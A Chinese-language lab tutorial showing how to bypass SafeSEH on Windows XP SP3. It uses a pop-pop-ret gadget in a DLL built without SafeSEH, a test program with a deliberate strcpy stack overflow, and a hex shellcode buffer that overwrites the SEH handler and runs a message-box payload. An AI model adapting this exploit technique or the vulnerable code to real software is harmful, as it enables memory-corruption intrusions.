利用未启用SafeSEH模块绕过SafeSEH

此方法可以说不是方法了·········必须程序要加载一个没用开启SafeSEH的DLL 才能去突破产生对话框

DLL模块编译：

/base:"0x11120000"

#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    return TRUE;
}
void jump()
{
__asm{
	pop eax
	pop eax
	retn
	}
}

下载OD插件   OLLYSEH  http://www.openrce.org/downloads/details/244/OLLYSSEH%20targrt=

插件原理

/*
XP SP3   
VS2008   SafeSEH 保护  
新建DLL 未启动 SafeSEH
把它当成跳板  跳向我们的shellcode执行
*/
#include <stdafx.h>
#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x12\x10\x12\x11"
/*
11121012    58              pop eax
11121013    58              pop eax
11121014    C3              retn
*/
"\x90\x90\x90\x90\x90\x90\x90\x90"//这里说一下这个： VS2008 进入含有try块 会在Security Cookie+4 的位置压入-2 VC++6.0是-1 所以这里空出8字节
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53"
"\x68\x64\x61\x30\x23"
"\x68\x23\x50\x61\x6E"
"\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8";//168


DWORD MyException(void)
{
	printf("There is an exception");
	getchar();
	return 1;
}
void test(char * input)
{
	char str[200];
	strcpy(str,input);	
	int zero=0;
	__try
	{
		zero=1/zero;
	}
	__except(MyException())
	{
	}
}
int _tmain(int argc, _TCHAR* argv[])
{
	HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
	char str[200];
	//__asm int 3
		test(shellcode);
	return 0;
}

当我们    pop  pop  ret  后就会跳到一下异常指针地址去  0012FE90    此处已被我们  90909090  掉了